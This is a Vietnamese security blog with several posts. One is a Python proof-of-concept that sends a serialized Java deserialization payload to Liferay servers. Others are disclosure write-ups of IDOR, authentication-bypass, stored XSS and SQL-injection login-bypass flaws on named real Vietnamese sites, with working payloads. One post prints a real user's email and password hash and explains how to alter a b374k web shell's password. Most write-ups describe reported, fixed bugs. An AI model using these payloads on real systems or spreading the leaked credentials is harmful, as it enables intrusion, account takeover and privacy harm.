Thứ Bảy, 7 tháng 12, 2019

[PoC] Liferay Poc by Me.

Lâu lâu không dev C# mệt mỏi quá using cả một đống thứ, add đủ loại dll, làm cái giao diện cũng mờ hết cả mắt. Thôi thì cuộc sống mà, up cái PoC liên quan đến Life vậy.



"Như một siêu sao người Thái Bình đã từng nói rằng: " Muốn ngồi ở một vị trí mà không ai ngồi được thì phải chịu những cảm giác mà không ai chịu được. "

My PoC:
import requests
url = input("URL:")
data = '\xAC\xED \x05sr .javax.management.BadAttributeValueExpException\xD4\xE7\xDA\xABc-F@\x02 \x01L \x03valt \x12Ljava/lang/Object;xr \x13java.lang.Exception\xD0\xFD\x1F>\x1A;\x1C\xC4\x02  xr \x13java.lang.Throwable\xD5\xC65\'9w\xB8\xCB\x03 \x04L \x05causet \x15Ljava/lang/Throwable;L \ndetailMessaget \x12Ljava/lang/String;[ \nstackTracet \x1E[Ljava/lang/StackTraceElement;L \x14suppressedExceptionst \x10Ljava/util/List;xpq ~ \bpur \x1E[Ljava.lang.StackTraceElement;\x02F*<<\xFD9\x02'
response = requests.post(url+"///api///liferay", data=data)
print ("Successful")

Thanks: https://sec.vnpt.vn/

Thứ Hai, 28 tháng 10, 2019

[FUNNY] CVE 2014-6271 PoC by me (Shellshock)

Dạo này bận bịu với việc exploit dạo và research dăm ba cái vui vui nhiều quá thành ra không có thời gian viết lung tung trên blog. :)
Hôm nay nhân dịp đi training cho một lớp khá cơ bản về viết PoC như thế nào, thành ra lục lọi lại cái code python từ mấy năm trước, mặc dù cái CVE 2014-6271 (hay có cái tên mĩ miều là shellshock) đã khá cũ nhưng mà tự thấy cái PoC của mình nhanh hơn ngồi set metasploit (ảo tưởng tí). :))
Và đây là thành phần chính:

Thứ Tư, 10 tháng 10, 2018

[PHÂN TÍCH] IDOR + LOGIC: easybooking, session chưa hoạt động hiệu quả?

Sau một năm blog không được quan tâm mình xin trở lại về một bài cũng về vấn đề cũ: "VÉ MÁY BAY".
Dạo quanh một vài trang trước đây cũng dính lỗ hổng này thì hiện tại đã được fix hết chỉ còn lại của easybooking.vn.
Sau quá trình đặt thử một vài chiếc vé và phân tích logic thì phát hiện được một số vấn đề sau:
1. Trong quá trình đặt vé và hoàn thiện có session nhưng session không có tác dụng.
- Với đường link: http://easybooking.vn/FlightBook/Finish?sessionId=KHz99kKkHUq357-sbcwwpQ&code=10034511, ta thu được kết quả:

- Với đường link: http://easybooking.vn/FlightBook/Finish?sessionId=KHz99kKkHUq357-sbcwwpQ&code=10034510, ta thu được kết quả:

2. Chú ý trong đường link đặt hàng có những thành phần: mã đơn hàng và email. Quay trở lại trang tra cứu vé, sau khi nhập mã đơn hàng và email, ta thu được toàn bộ nội dung đặt vé:


Time line:
- 1 ngày đẹp trời năm 2017: phát hiện lỗi.
- 14:00 07/10/2018: rảnh rỗi, check lại lỗi các site.
- 18:00 07/10/2018: báo cho trực bên easybooking.vn.
- 19:14 07/10/2018: kỹ thuật viên easybooking.vn gọi hỏi cụ thể lỗi.
- 10:00 08/10/2018: bên easybooking.vn đã được sửa.
- viết bài cảnh báo.
P.s: Một trường đại học lớn với rất nhiều các hoa hậu cũng đã từng dính lỗ hổng này. :v


Chủ Nhật, 7 tháng 10, 2018

Hành trình với PASGO - Phần 1

Chào mọi người hôm nay mình xin trình bày về lỗ hổng bảo mật liên quan đến phần xác thực người dùng và một số vấn đề râu ria khác. Chả là target này là của công ty bạn mình - một công ty tổng hợp bàn ăn và đặt bàn online, lượng khách hàng cũng khá lớn nó bao gồm cả nền tảng web và mobile app. Vì khá có hứng thú với chuyện ăn uống nên mình đặt quyết tâm target này trong 2 tuần.
1. Wireshark
Sau khi thử với website pasgo.vn không tìm được api của nó mình tiến hành thử với app android của pasgo cùng genymotion + wireshark (cách cài đặt các bạn có thể google nhé, ngoài ra còn có các công cụ để view khác như charles proxy ). Tiến hành đăng nhập và khởi động wireshark, bên wireshark mình bắt đầu thấy các request từ app, lọc theo http thu được các request dưới dạng đầy đủ từ login, tìm kiếm.
Wireshark 1
Sở dĩ thấy được là do khi gọi services các gói tin không được mã hóa nên ta thấy được các gói tin dưới dạng http đồng thời với đó là các thông tin dưới dạng clear-text. Các services ở đây mình thấy được như: login, getDanhmuc, ... đều có rõ request và response của nó. Tiếp đó mình đi vào nội dung từng request. Rõ ràng ở đó mọi thông tin đều ở dạng clear-text (rất nguy hiểm phải không nào, khi khách hàng dùng mạng LAN truy cập vào app sẽ bị ăn cắp thông tin tài khoản một cách dễ dàng), các bạn có thể thử với Ettercap. Đây là cũng là một lý do khuyên các bạn không nên truy cập các trang web có thông tin quan trọng khi sử dụng mạng công cộng.
Wireshark 2
Và ta đã có được đường dẫn các services của trang web.
2. Vấn đề Authentication của services
Việc đầu tiên là mình xem yếu tố xác thực của các services yêu cầu quyền người dùng. Công cụ test services như thường lệ là Postman, các thông số của request thì cứ nhìn bên wireshark là ra thôi. Sau khi thử các chức năng chính có yêu cầu quyền người dùng mình thấy các request này chỉ cần tham số là nguoidungId, bắt đầu rồi đây, ... tham số mà lập trình viên sử dụng ở đây là chuỗi 16 ký tự được sinh ra từ hàm sinh id trong C#. Chỉ cần nguoidungId thôi à, thế nếu mình dùng Id người khác để mượn quyền rồi đặt bàn đổi thông tin thì sao nhỉ. Vấn đề bây giờ là lấy nguoidungId không thể đoán được vì là hàm sinh từ server (chắc lập trình viên cũng chủ quan vì suy nghĩ này).
Lần theo các chức năng để xuất hiện các người dùng khác trong phần bình luận, kết quả trả về từ server có bao gồm cả Id của họ ^^. Lúc này mình thử sử dụng Id đó xem thông tin cá nhân và thực hiện thao tác khác thì quả thật mình đang sử dụng app trên danh nghĩa người đó rồi.
Postman 1
Thấy được lỗ hổng mình có email report cho bộ phận IT của pasgo và rất mừng bên đó phản hồi rất nhanh và nhiệt tình:
09:09, 25 thg 5, 2018: Email thông báo về lỗ hổng
09:28, 25 thg 5, 2018: Nhận được phản hồi từ pasgo và lỗ hổng đã được khắc phục ngay lập tức (bằng cách thêm token), rất chuyên nghiệp.
...tiếp tục trao đổi một số vấn đề khác.
Trên đây là bài viết của mình về vấn đề mã hóa request và xác thực người dùng. Mong các bạn ủng hộ và đón xem những phần tiếp theo.

Thứ Ba, 18 tháng 7, 2017

[PHÂN TÍCH + THẢO LUẬN] LÀM GÌ KHI CÓ MẬT KHẨU DẠNG HASH

DOCUMENT:
Link: https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation-33283
Link: https://en.wikipedia.org/wiki/Pass_the_hash

PENTEST:
Đa số chúng ta khi vô tình hoặc cố tình có được Database của một hệ thống nào đó thì mật khẩu thường được lưu dưới dạng Hash mặc dù cũng gọi là không liên quan đến mấy cái link ở trên cho lắm. :v
Theo như The Reindeer nhận định thì thường chia làm 2 trường hợp:
1. Dữ liệu được hash trên Server:
Như các ví dụ trong link:
https://dev.mysql.com/doc/refman/5.5/en/encryption-functions.html
Dữ liệu được truyền vào dưới dạng text và được mã hóa trên Server.
Trong hình thức này thì mình sẽ sử dụng biện pháp Brute Force Hash. =.=
2. Dữ liệu được hash trên Client:

Thông qua các hàm hash trên Client.
Trong hình thức này attacker sẽ trực tiếp gửi giá trị hash lên server bằng cách loại bỏ hàm hash trong source.
Ví dụ:
Với shell b374k khi tải trên mạng về và không biết mật khẩu của shell.
Xem source ta thấy đoạn:
$GLOBALS['pass'] = "fb621f5060b9f65acf8eb4232e3024140dea2b34"; // sha1(md5(pass))

$your_pass = sha1(md5($p['pass']));

Với dòng 1 ta có thể chèn lại hash của mình vào. -- Done.
Với dòng 2 khi sửa lại thành: $your_pass = $p['pass']; thì mật khẩu sẽ được lưu dưới dạng text nguyên bản.

Ví dụ:
Với azshop.net.vn
Sau một thời gian nghịch ngợm ta thu được.
Mật username và mật khẩu lưu dưới dạng Hash:
('5', 'huy.nd', 'a99442d2a736365f5fe637e299b0e339', 'Nguy?n ??c Huy', 'huy.nd@azshop.net.vn', '2015-11-26 13:11:28', '2017-03-27 15:28:03', '1', '3');



Tìm kiếm trang đăng nhập


Source trang đăng nhập


Source jquery 1.10.2



Đăng nhập


Đăng nhập

KỊCH BẢN TẤN CÔNG:
- Lấy mật khẩu admin.
- Upshell từ đó tiến hành tấn công local attack.
BIỆN PHÁP KHẮC PHỤC:
- Tránh Brute Force mật khẩu bằng cách sử dụng mật khẩu với độ bảo mật cao.
- Tránh lộ lột Database bằng cách phân quyền hợp lý.
- Nên hash mật khẩu trên server.
TIMELINE:
- 15:00 25/06/2017 - Phát hiện lỗi trên azshop.net.vn
- 15:30 27/06/2017 - Thông báo cho azshop.net.vn
- xx:xx  18/07/2017 - Fixed.

Thứ Ba, 27 tháng 6, 2017

[PHÂN TÍCH + SERI ÁP DỤNG CTF] Stored XSS - Em tôi đã hack didongthongminh.vn như thế nào? :v

DOCUMENT:
CTF link: https://www.root-me.org/fr/Challenges/Web-Client/XSS-Stored-1
Docment link: https://doc.lagout.org/security /Cross%20Site%20Scripting%20Attacks%20Xss%20Exploits%20and%20Defense.pdf
PENTEST:
Dạo một vòng tìm mua cái điện thoại phụ phát được 4G thì tìm được didongthongminh.vn với cái máy như thế này:
http://didongthongminh.vn/fujitsu/fujitsu-arrrow-f-08d-p2101.html
Giá thành rẻ hơn cả một bộ phát 4G lại còn rất nhiều chức năng. ^^
Nhìn thấy khung coment nhập email và username không cần xác nhận. Thử Stored XSS xem sao.
Với thẻ image cơ bản:
<IMG SRC=/ onerror="alert(1)"></img>
-- Done. :D
 


Tên user trong hình: TÙng
KỊCH BẢN TẤN CÔNG:
Bước 1: User sử dụng lỗi Stored XSS với link lừa đảo.
Bước 2: User khác hoặc Admin click vào link tìm kiếm điện thoại trên, hộp thoại với nội dung lừa đảo được đưa ra.
Bước 3: Trong site lừa đảo có docment.cookie, khi lấy được cookie của admin thì rất nhiều khả năng có thể được đưa ra như: thống kê khách đặt, thống kê khách hàng, thay đổi nội dung site...
BIỆN PHÁP KHẮC PHỤC:
          Xử lý input trong comment, xác nhận khi đăng ký, đăng nhập, comment.
TIMELINE:
15:00 23/06/2017 - Được thằng em phát hiện nó hổng và thông báo.
20:00 23/06/2017 - Liên hệ với didongthongminh.vn và gửi Report.
xx:xx 24/06/2017 - didongthongminh.vn xác nhận lỗ hổng và tiến hành fix.
xx:xx 25/06/2017 - Nhận được 1 voucher từ didongthongminh.vn ^^
09:30 27/06/2017 - Xác nhận didongthongminh.vn đã fix và viết writeup.
 


Thứ Năm, 8 tháng 6, 2017

[PHÂN TÍCH + SERI ÁP DỤNG CTF] Funny - SQL injection - authentication

Tiếp tục Seri Áp dụng CTF, hôm nay sẽ là một ví dụ rất cơ bản về SQL injection.
Link CTF: http://challenge01.root-me.org/web-serveur/ch9/
Ebook: http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Blackhat%20Europe%202009%20-%20Advanced%20SQL%20injection%20whitepaper.pdf
Link thực tế:
vcnc.co/login.php
Với login page này ta thử với:
User: '=' 'or'
Pass: '=' 'or'
Ta được:






Thực sự thì hiện tại lỗi này rất hiếm gặp do các dev-er đã fix hết đa số những ký tự đầu vào nhưng với nhiều câu lệnh truy vấn khác phức tạp hơn thì vẫn có thể bypass được.